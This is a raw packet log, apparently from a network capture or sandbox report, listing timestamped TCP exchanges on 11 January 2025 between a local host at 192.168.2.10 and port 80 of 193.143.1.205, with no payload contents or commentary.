Jan 11, 2025 06:56:20.164947987 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.193880081 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.193897009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.193911076 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.193978071 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.206846952 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.208617926 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.224855900 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.224869967 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.224889994 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.224900961 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.224911928 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.224922895 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.224967003 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.225045919 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.236833096 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.236867905 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.236943960 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.236955881 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.236989021 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.237006903 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237019062 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237027884 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.237034082 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237047911 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237066984 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.237093925 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.237230062 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237266064 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237282038 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237296104 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237312078 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237314939 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.237339020 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.237662077 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237674952 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237687111 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237706900 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237709045 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.237719059 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237730980 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237740993 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.237742901 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.237776995 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.237807035 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.238090038 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238102913 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238118887 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238130093 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238132000 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.238143921 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238154888 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238162994 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.238198996 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.238230944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238244057 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238253117 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238262892 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238274097 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238290071 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.238320112 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.238321066 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.238353968 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.239003897 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239025116 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239034891 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239063978 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.239068031 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239078045 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239089012 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239099979 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239101887 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.239128113 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.239159107 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239170074 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239180088 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239191055 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239196062 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.239202976 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.239216089 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.239242077 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.251890898 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.251905918 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.251960039 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.280976057 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.280992031 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.281003952 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.281066895 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.293843031 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.293857098 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.293869972 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.293930054 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.293975115 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.312213898 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.312228918 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.312241077 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.312303066 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.312354088 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.312366009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.312376976 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.312422037 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.312438965 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.323909044 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324054003 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324068069 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324095011 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324202061 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324213028 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324224949 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324235916 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324245930 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324254036 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324301958 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324348927 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324359894 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324369907 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324379921 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324393034 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324423075 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324512959 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324527025 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324562073 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324704885 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324717045 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324728966 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324740887 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324748039 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324752092 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324801922 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324868917 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324881077 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324891090 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324902058 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324904919 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324913979 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324925900 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324938059 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.324938059 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324963093 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.324982882 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.325042963 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.325053930 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.325092077 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.325227022 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.325244904 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.325319052 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.325578928 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.325589895 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.325601101 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.325613976 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.325627089 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.325633049 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.325637102 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.325669050 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.341341972 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.341475010 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.341555119 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.341619015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.341759920 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.341769934 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.341780901 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.341792107 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.341804028 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.341811895 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.341814995 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.341825962 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.341849089 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.341877937 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.342046022 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.342061996 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.342104912 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.354098082 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.354111910 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.354125023 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.354135990 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.354147911 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.354159117 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.354171038 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.354182005 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.354182959 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.354193926 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.354206085 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.354233027 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.354259014 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.367755890 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.367770910 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.367784023 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.367825031 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.380738974 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.380753994 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.380764961 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.380805016 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.380846024 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.398343086 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.398360014 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.398372889 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.398391008 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.398402929 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.398416996 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.398425102 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.398427010 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.398488045 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.410450935 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410476923 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410486937 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410510063 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.410542965 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410543919 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.410557032 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410571098 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410583973 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410609007 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.410621881 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410634041 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410641909 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.410692930 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.410708904 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410720110 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410731077 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410757065 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.410761118 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410772085 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410784006 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.410816908 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.411098003 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411139965 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411150932 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411184072 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411185026 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.411196947 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411209106 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411232948 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.411262035 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.411266088 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411277056 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411303997 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411319971 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.411324024 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411365986 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.411676884 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411689997 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411701918 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411712885 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411736965 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.411771059 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.411776066 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411789894 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411799908 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411811113 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411830902 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.411851883 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.411869049 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411879063 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411890984 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.411915064 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.412237883 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.412286997 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.412297964 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.412308931 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.412370920 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.414223909 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.428148031 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428162098 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428172112 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428185940 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428210974 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.428240061 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428255081 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428256035 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.428267002 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428302050 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.428431988 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428442955 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428461075 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428488970 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.428519964 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428530931 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428541899 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.428566933 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.428589106 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.428613901 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440453053 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440470934 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440483093 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440491915 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440510035 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440520048 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440531015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440537930 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.440582037 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.440661907 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440674067 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440685034 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440696001 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.440716982 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.440733910 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.454282999 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.454310894 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.454322100 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.454333067 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.454418898 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.454418898 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.467483997 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.467498064 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.467505932 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.467576027 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.485196114 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.485224009 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.485245943 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.485256910 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.485270023 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.485281944 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.485295057 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.485301018 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.485351086 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.485368013 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.485375881 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.485387087 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.485424042 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.497210979 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497236967 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497247934 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497260094 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497272015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497315884 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.497349024 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497363091 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497395039 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.497442961 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497479916 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497509956 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.497525930 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497575998 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.497606039 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497617960 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497628927 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497668982 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497668982 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.497682095 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.497709036 CET	49717	80	192.168.2.10	193.143.1.205
